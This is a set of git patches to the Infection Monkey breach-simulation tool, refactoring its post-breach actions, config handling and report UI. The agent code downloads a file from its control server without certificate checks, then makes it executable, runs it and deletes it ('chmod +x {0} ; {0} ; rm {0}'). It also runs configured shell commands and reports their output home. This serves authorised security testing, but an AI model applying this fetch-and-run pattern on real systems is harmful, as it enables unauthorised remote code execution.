.../ui/src/components/pages/ConfigurePage.js | 47 ++++---- .../ui/src/components/pages/StartOverPage.js | 1 - .../report-components/PostBreach.js | 18 +++- 13 files changed, 213 insertions(+), 131 deletions(-) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index fee397f2e..0e2fc79a9 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -98,5 +98,11 @@ "victims_max_exploit": 7, "victims_max_find": 30, "post_breach_actions" : [], - "custom_post_breach" : { "linux": "", "windows": "", "linux_file": "", "windows_file": "" } + "custom_post_breach" : { "linux": "", + "windows": "", + "linux_file": "", + "windows_file": "", + "windows_file_info": {"name": "", "size": "0" }, + "linux_file_info": {"name": "", "size":"0"} + } } diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py index ef575d8cc..4e0822339 100644 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -1,8 +1,100 @@ from infection_monkey.post_breach.pba import PBA +from infection_monkey.control import ControlClient +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.config import WormConfiguration +import requests +import shutil +import os +import logging + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +DOWNLOAD_CHUNK = 1024 +DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" +DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" class FileExecution(PBA): - def __init__(self, file_path): - linux_command = "chmod 110 {0} ; {0} ; rm {0}".format(file_path) - win_command = "{0} & del {0}".format(file_path) - super(FileExecution, self).__init__("File execution", linux_command, win_command) + def __init__(self, linux_command="", windows_command=""): + self.linux_file_info = WormConfiguration.custom_post_breach['linux_file_info'] + self.windows_file_info = WormConfiguration.custom_post_breach['windows_file_info'] + super(FileExecution, self).__init__("File execution", linux_command, windows_command) + + def execute_linux(self): + FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), + self.linux_file_info['name'], + self.linux_file_info['size']) + return super(FileExecution, self).execute_linux() + + def execute_win(self): + FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), + self.windows_file_info['name'], + self.windows_file_info['size']) + return super(FileExecution, self).execute_win() + + def add_default_command(self, is_linux): + if is_linux: + file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=True), + self.linux_file_info["name"]) + self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) + else: + file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=False), + self.windows_file_info["name"]) + self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) + + @staticmethod + def download_PBA_file(dst_dir, filename, size): + """ + Handles post breach action file download + :param dst_dir: Destination directory + :param filename: Filename + :param size: File size in bytes + :return: True if successful, false otherwise + """ + PBA_file_v_path = FileExecution.download_PBA_file_to_vfs(filename, size) + try: + with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) + return True + except IOError as e: + LOG.error("Can not download post breach file to target machine, because %s" % e) + return False + + @staticmethod + def download_PBA_file_to_vfs(filename, size): + if not WormConfiguration.current_server: + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception as exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_dest_dir(config, is_linux): + """ + Gets monkey directory from config. (We put post breach files in the same dir as monkey) + """ + if is_linux: + return os.path.dirname(config.dropper_target_path_linux) + else: + return os.path.dirname(config.dropper_target_path_win_32) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index ab639c536..e8954fb87 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -19,20 +19,25 @@ class PBA(object): else: command = self.windows_command exec_funct = self.execute_win - try: + if command: ControlClient.send_telemetry('post_breach', {'command': command, 'output': exec_funct(), 'name': self.name}) - return True - except subprocess.CalledProcessError as e: - ControlClient.send_telemetry('post_breach', {'command': command, - 'output': "Couldn't execute post breach command: %s" % e, - 'name': self.name}) - LOG.error("Couldn't execute post breach command: %s" % e) - return False def execute_linux(self): - return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False + # Default linux PBA execution function. Override if additional functionality is needed + if self.linux_command: + try: + return subprocess.check_output(self.linux_command, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + # Return error output of the command + return e.output def execute_win(self): - return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False + # Default windows PBA execution function. Override if additional functionality is needed + if self.windows_command: + try: + return subprocess.check_output(self.windows_command, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + # Return error output of the command + return e.output diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index b43832bd0..af494256a 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,12 +1,6 @@ import logging import infection_monkey.config import platform -from infection_monkey.control import ControlClient -import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.config import WormConfiguration -import requests -import shutil -import os from file_execution import FileExecution from pba import PBA @@ -14,8 +8,6 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -DOWNLOAD_CHUNK = 1024 - # Class that handles post breach action execution class PostBreach(object): @@ -26,77 +18,49 @@ class PostBreach(object): def execute(self): for pba in self.pba_list: pba.run(self.os_is_linux) + LOG.info("Post breach actions executed") - def config_to_pba_list(self, config): + @staticmethod + def config_to_pba_list(config): """ - Should return a list of PBA's generated from config. After full implementation this will pick - which PBA's to run. + Returns a list of PBA objects generated from config. """ pba_list = [] - # Get custom PBA commands from config - custom_pba_linux = config.custom_post_breach['linux'] - custom_pba_windows = config.custom_post_breach['windows'] - - if custom_pba_linux or custom_pba_windows: - pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) - - # Download user's pba file by providing dest. dir, filename and file size - if config.custom_post_breach['linux_file'] and self.os_is_linux: - uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), - config.custom_post_breach['linux_file_info']['name'], - config.custom_post_breach['linux_file_info']['size']) - if not custom_pba_linux and uploaded: - pba_list.append(FileExecution("./"+config.custom_post_breach['linux_file_info']['name'])) - elif config.custom_post_breach['windows_file'] and not self.os_is_linux: - uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), - config.custom_post_breach['windows_file_info']['name'], - config.custom_post_breach['windows_file_info']['size']) - if not custom_pba_windows and uploaded: - pba_list.append(FileExecution(config.custom_post_breach['windows_file_info']['name'])) + pba_list.extend(PostBreach.get_custom(config)) return pba_list @staticmethod - def download_PBA_file(dst_dir, filename, size): - PBA_file_v_path = PostBreach.download_PBA_file_to_vfs(filename, size) - try: - with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) - return True - except IOError as e: - LOG.error("Can not download post breach file to target machine, because %s" % e) - return False + def get_custom(config): + custom_list = [] + file_pba = FileExecution() + command_pba = PBA(name="Custom post breach action") + post_breach = config.custom_post_breach + linux_command = post_breach['linux'] + windows_command = post_breach['windows'] - @staticmethod - def download_PBA_file_to_vfs(filename, size): - if not WormConfiguration.current_server: - return None - try: - dest_file = monkeyfs.virtual_path(filename) - if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): - return dest_file + # Add commands to linux pba + if post_breach['linux_file_info']['name']: + if linux_command: + file_pba.linux_command=linux_command else: - download = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) + file_pba.add_default_command(is_linux=True) + elif linux_command: + command_pba.linux_command = linux_command - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file + # Add commands to windows pba + if post_breach['windows_file_info']['name']: + if windows_command: + file_pba.windows_command=windows_command + else: + file_pba.add_default_command(is_linux=False) + elif windows_command: + command_pba.windows_command = windows_command - except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + # Add pba's to list + if file_pba.linux_command or file_pba.windows_command: + custom_list.append(file_pba) + if command_pba.windows_command or command_pba.linux_command: + custom_list.append(command_pba) - @staticmethod - def get_dest_dir(config, is_linux): - if is_linux: - return os.path.dirname(config.dropper_target_path_linux) - else: - return os.path.dirname(config.dropper_target_path_win_32) + return custom_list diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/file_upload.py index f977b3e82..b8fcf9a90 100644 --- a/monkey/monkey_island/cc/resources/file_upload.py +++ b/monkey/monkey_island/cc/resources/file_upload.py @@ -1,6 +1,6 @@ import flask_restful from flask import request, send_from_directory, Response -from cc.services.config import ConfigService +from cc.services.config import ConfigService, WINDOWS_PBA_INFO, LINUX_PBA_INFO import os from werkzeug.utils import secure_filename import logging @@ -13,12 +13,6 @@ GET_FILE_DIR = "./userUploads" # What endpoints front end uses to identify which files to work with LINUX_PBA_TYPE = 'PBAlinux' WINDOWS_PBA_TYPE = 'PBAwindows' -# Where to find file info in config -PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach'] -WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) -WINDOWS_PBA_INFO.append('windows_file_info') -LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) -LINUX_PBA_INFO.append('linux_file_info') class FileUpload(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index d6c6a5585..3e2824d3b 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -261,7 +261,7 @@ class Telemetry(flask_restful.Resource): def process_post_breach_telemetry(telemetry_json): mongo.db.monkey.update( {'guid': telemetry_json['monkey_guid']}, - {'$push': {'post_breach_actions': telemetry_json['data']}}) + {'$push': {'pba_results': telemetry_json['data']}}) TELEM_PROCESS_DICT = \ { diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 0dc59b588..61d081867 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -38,6 +38,13 @@ ENCRYPTED_CONFIG_STRINGS = \ UPLOADS_DIR = './monkey_island/cc/userUploads' +# Where to find file info in config +PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach'] +WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) +WINDOWS_PBA_INFO.append('windows_file_info') +LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) +LINUX_PBA_INFO.append('linux_file_info') + class ConfigService: default_config = None @@ -150,6 +157,8 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): + # Island file upload on file_upload endpoint and sets correct config there + ConfigService.keep_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -160,6 +169,18 @@ class ConfigService: logger.info('monkey config was updated') return True + @staticmethod + def keep_PBA_files(config_json): + """ + file_upload endpoint handles file upload and sets config asynchronously. + This brings file info in config up to date. + """ + if ConfigService.get_config(): + linux_info = ConfigService.get_config_value(LINUX_PBA_INFO) + windows_info = ConfigService.get_config_value(WINDOWS_PBA_INFO) + config_json['monkey']['behaviour']['custom_post_breach']['linux_file_info'] = linux_info + config_json['monkey']['behaviour']['custom_post_breach']['windows_file_info'] = windows_info + @staticmethod def init_default_config(): if ConfigService.default_config is None: diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 0360ae73c..b2a264f33 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -143,7 +143,7 @@ class NodeService: "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], "domain_name": "", - "post_breach_actions": monkey["post_breach_actions"] if "post_breach_actions" in monkey else "" + "pba_results": monkey["pba_results"] if "pba_results" in monkey else [] } @staticmethod diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index b84c1d4d5..71e443716 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -156,7 +156,7 @@ class ReportService: 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])), - 'post_breach_actions': monkey['post_breach_actions'] if 'post_breach_actions' in monkey else 'None' + 'pba_results': monkey['pba_results'] if 'pba_results' in monkey else 'None' } for monkey in exploited] diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index d0ae18143..da8e59113 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -179,15 +179,11 @@ class AppComponent extends AuthComponent { ()}/> {this.renderRoute('/', , true)} - {this.renderRoute('/configure', )} + {this.renderRoute('/configure', )} {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} - {this.renderRoute('/start-over', )} + {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index b74558990..bc1c6739e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -117,10 +117,14 @@ class ConfigurePageComponent extends AuthComponent { removePBAfiles(){ // We need to clean files from widget, local state and configuration (to sync with bac end) - if (this.hasOwnProperty('PBAlinuxPond')){ + if (this.hasOwnProperty('PBAlinuxPond') && this.PBAwindowsPond !== null){ this.PBAlinuxPond.removeFile(); this.PBAwindowsPond.removeFile(); } + let request_options = {method: 'DELETE', + headers: {'Content-Type': 'text/plain'}}; + this.authFetch('/api/fileUpload/PBAlinux', request_options); + this.authFetch('/api/fileUpload/PBAwindows', request_options); this.setState({PBAlinuxFile: []}); this.setState({PBAwinFile: []}); } @@ -188,37 +192,21 @@ class ConfigurePageComponent extends AuthComponent { }) }} ref={ref => this.PBAlinuxPond = ref} - onload={this.props.setRemovePBAfiles(false)} />) - }; getWinPBAfile(){ - if (this.props.removePBAfiles){ - // If env was reset we need to remove files in react state - /*if (this.hasOwnProperty('PBAwinFile')){ - this.setState({PBAwinFile: ''}) - }*/ - } else if (this.state.PBAwinFile.length !== 0){ - console.log("Getting from local state") + if (this.state.PBAwinFile.length !== 0){ return ConfigurePageComponent.getPBAfile(this.state.PBAwinFile[0], true) - } else { - console.log("Getting from config") + } else if (this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info.name){ return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info) } } getLinuxPBAfile(){ - if (this.props.removePBAfiles) { - // If env was reset we need to remove files in react state - /*if (this.hasOwnProperty('PBAlinuxFile')){ - this.setState({PBAlinuxFile: ''}) - }*/ - } else if (this.state.PBAlinuxFile.length !== 0){ - console.log("Getting from local state") + if (this.state.PBAlinuxFile.length !== 0){ return ConfigurePageComponent.getPBAfile(this.state.PBAlinuxFile[0], true) - } else { - console.log("Getting from config") + } else if (this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info.name) { return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info) } } @@ -242,22 +230,28 @@ class ConfigurePageComponent extends AuthComponent { behaviour: { custom_post_breach: { linux: { - "ui:widget": "textarea" + "ui:widget": "textarea", + "ui:emptyValue": "" }, linux_file: { "ui:widget": this.PBAlinux }, windows: { - "ui:widget": "textarea" + "ui:widget": "textarea", + "ui:emptyValue": "" }, windows_file: { "ui:widget": this.PBAwindows }, linux_file_info: { - classNames: "linux-pba-file-info" + classNames: "linux-pba-file-info", + name:{ "ui:emptyValue": ""}, + size:{ "ui:emptyValue": "0"} }, windows_file_info: { - classNames: "windows-pba-file-info" + classNames: "windows-pba-file-info", + name:{ "ui:emptyValue": ""}, + size:{ "ui:emptyValue": "0"} } } } @@ -290,7 +284,8 @@ class ConfigurePageComponent extends AuthComponent { uiSchema={uiSchema} formData={this.state.configuration[this.state.selectedSection]} onSubmit={this.onSubmit} - onChange={this.onChange} > + onChange={this.onChange} + noValidate={true}>
{ this.state.allMonkeysAreDead ? '' : diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js index eb4b5ae91..c44a5a72f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -108,7 +108,6 @@ class StartOverPageComponent extends AuthComponent { this.setState({ cleaned: true }); - this.props.setRemovePBAfiles(true) } }); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 105978429..55f556251 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -9,11 +9,22 @@ let renderIpAddresses = function (val) { return
{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
; }; -let renderPostBreach = function (val) { - return
{val.map(x =>
Name: {x.name}
Command: {x.command}
Output: {x.output}
)}
; +let renderPostBreach = function (machine, pbaList) { + if (pbaList.length === 0){ + return + } else { + return
Machine: {machine.label}
+ {pbaList.map(x =>
Name: {x.name}
+ Command: {x.command}
+ Output: {x.output}
)} +
; + } }; let renderMachine = function (val) { + if (val.pba_results.length === 0){ + return + } return
{val.label} {renderIpAddresses(val)}
}; @@ -21,8 +32,7 @@ const columns = [ { Header: 'Post breach actions', columns: [ - {Header: 'Machine', id: 'machines', accessor: x => renderMachine(x)}, - {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} + {id: 'post_breach_actions', accessor: x => renderPostBreach(x, x.pba_results)} ] } ]; From f35340e7ae65be74812a27c70fca437ca2ac4769 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Mar 2019 20:20:41 +0200 Subject: [PATCH 12/19] Cosmetic changes and small refactors --- monkey/infection_monkey/example.conf | 8 ++++---- monkey/infection_monkey/monkey.py | 4 ++++ monkey/monkey_island/cc/app.py | 2 +- .../cc/resources/{file_upload.py => pba_file_upload.py} | 1 - monkey/monkey_island/cc/services/config.py | 6 ++++-- monkey/monkey_island/cc/services/report.py | 4 ++-- .../cc/ui/src/components/pages/ReportPage.js | 2 +- .../cc/ui/src/components/report-components/PostBreach.js | 7 ------- 8 files changed, 16 insertions(+), 18 deletions(-) rename monkey/monkey_island/cc/resources/{file_upload.py => pba_file_upload.py} (98%) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0e2fc79a9..760ed1139 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -100,9 +100,9 @@ "post_breach_actions" : [], "custom_post_breach" : { "linux": "", "windows": "", - "linux_file": "", - "windows_file": "", - "windows_file_info": {"name": "", "size": "0" }, - "linux_file_info": {"name": "", "size":"0"} + "linux_file": None, + "windows_file": None, + "windows_file_info": None, + "linux_file_info": None } } diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 039052ad0..e80e15396 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -113,6 +113,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + for action_class in WormConfiguration.post_breach_actions: + action = action_class() + action.act() + PostBreach().execute() if 0 == WormConfiguration.depth: diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 91cf19b39..d43930206 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -29,7 +29,7 @@ from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService -from cc.resources.file_upload import FileUpload +from cc.resources.pba_file_upload import FileUpload __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py similarity index 98% rename from monkey/monkey_island/cc/resources/file_upload.py rename to monkey/monkey_island/cc/resources/pba_file_upload.py index b8fcf9a90..29f5271f2 100644 --- a/monkey/monkey_island/cc/resources/file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -4,7 +4,6 @@ from cc.services.config import ConfigService, WINDOWS_PBA_INFO, LINUX_PBA_INFO import os from werkzeug.utils import secure_filename import logging -from cc.database import mongo import copy LOG = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 61d081867..fbcf4d7a0 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -45,6 +45,7 @@ WINDOWS_PBA_INFO.append('windows_file_info') LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) LINUX_PBA_INFO.append('linux_file_info') + class ConfigService: default_config = None @@ -157,7 +158,7 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): - # Island file upload on file_upload endpoint and sets correct config there + # Island file upload happens on pba_file_upload endpoint and config is set there ConfigService.keep_PBA_files(config_json) if should_encrypt: try: @@ -173,7 +174,7 @@ class ConfigService: def keep_PBA_files(config_json): """ file_upload endpoint handles file upload and sets config asynchronously. - This brings file info in config up to date. + This saves file info from being overridden. """ if ConfigService.get_config(): linux_info = ConfigService.get_config_value(LINUX_PBA_INFO) @@ -250,6 +251,7 @@ class ConfigService: @staticmethod def r_get_properties(schema): + """ Recursively gets all nested properties in schema""" if "default" in schema: return schema["default"] if "properties" in schema: diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 71e443716..ed00b2fa0 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -132,7 +132,8 @@ class ReportService: (NodeService.get_displayed_node_by_id(edge['from'], True) for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), 'services': node['services'], - 'domain_name': node['domain_name'] + 'domain_name': node['domain_name'], + 'pba_results': node['pba_results'] if 'pba_results' in node else 'None' }) logger.info('Scanned nodes generated for reporting') @@ -156,7 +157,6 @@ class ReportService: 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])), - 'pba_results': monkey['pba_results'] if 'pba_results' in monkey else 'None' } for monkey in exploited] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 643004bd3..938961c99 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -462,7 +462,7 @@ class ReportPageComponent extends AuthComponent {
- +
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 55f556251..b6e36f902 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -21,13 +21,6 @@ let renderPostBreach = function (machine, pbaList) { } }; -let renderMachine = function (val) { - if (val.pba_results.length === 0){ - return - } - return
{val.label} {renderIpAddresses(val)}
-}; - const columns = [ { Header: 'Post breach actions', From 308a1e354772907361c0e0d813f262f5d3344fe4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 5 Mar 2019 10:22:45 +0200 Subject: [PATCH 13/19] Added simple telemetry feed --- monkey/infection_monkey/post_breach/pba.py | 7 ++++++- monkey/infection_monkey/post_breach/post_breach_handler.py | 2 +- monkey/monkey_island/cc/resources/telemetry_feed.py | 4 +++- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index e8954fb87..32284acb4 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,6 +1,7 @@ import logging from infection_monkey.control import ControlClient import subprocess +import socket LOG = logging.getLogger(__name__) @@ -20,9 +21,13 @@ class PBA(object): command = self.windows_command exec_funct = self.execute_win if command: + hostname = socket.gethostname() ControlClient.send_telemetry('post_breach', {'command': command, 'output': exec_funct(), - 'name': self.name}) + 'name': self.name, + 'hostname': hostname, + 'ip': socket.gethostbyname(hostname) + }) def execute_linux(self): # Default linux PBA execution function. Override if additional functionality is needed diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index af494256a..c94ed1bc5 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -34,7 +34,7 @@ class PostBreach(object): def get_custom(config): custom_list = [] file_pba = FileExecution() - command_pba = PBA(name="Custom post breach action") + command_pba = PBA(name="Custom") post_breach = config.custom_post_breach linux_command = post_breach['linux'] windows_command = post_breach['windows'] diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 05ed841a6..8286bba00 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,7 +82,9 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_post_breach_telem_brief(telem): - pass + return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], + telem['data']['hostname'], + telem['data']['ip']) TELEM_PROCESS_DICT = \ From dbf56b5531711ac005161b77cc11eb3e18478910 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 7 Mar 2019 12:44:15 +0200 Subject: [PATCH 14/19] Improved display of post breach actions --- .../report-components/PostBreach.js | 48 ++++++++++++------- 1 file changed, 32 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index b6e36f902..5790e26e5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -2,30 +2,39 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { - return
{val.map(x =>
{x}
)}
; + return {val.map(x => {x})}; }; let renderIpAddresses = function (val) { - return
{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
; + return {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} ; }; -let renderPostBreach = function (machine, pbaList) { - if (pbaList.length === 0){ - return - } else { - return
Machine: {machine.label}
- {pbaList.map(x =>
Name: {x.name}
- Command: {x.command}
- Output: {x.output}
)} -
; - } +let renderMachine = function (data) { + return
{data.label} ( {renderIpAddresses(data)} )
+}; + +const subColumns = [ + {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'white-space': 'unset' }}, + {id: 'pba_output', Header: "Output", accessor: x => x.output, style: { 'white-space': 'unset' }} +]; + +let renderDetails = function (data) { + let defaultPageSize = data.length > pageSize ? pageSize : data.length; + let showPagination = data.length > pageSize; + return }; const columns = [ { Header: 'Post breach actions', columns: [ - {id: 'post_breach_actions', accessor: x => renderPostBreach(x, x.pba_results)} + {id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)} ] } ]; @@ -38,17 +47,24 @@ class PostBreachComponent extends React.Component { } render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; + let pbaMachines = this.props.data.filter(function(value, index, arr){ + return ( value.pba_results !== "None" && value.pba_results.length); + }); + let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length; + let showPagination = pbaMachines > pageSize; return (
{ + return renderDetails(row.original.pba_results); + }} />
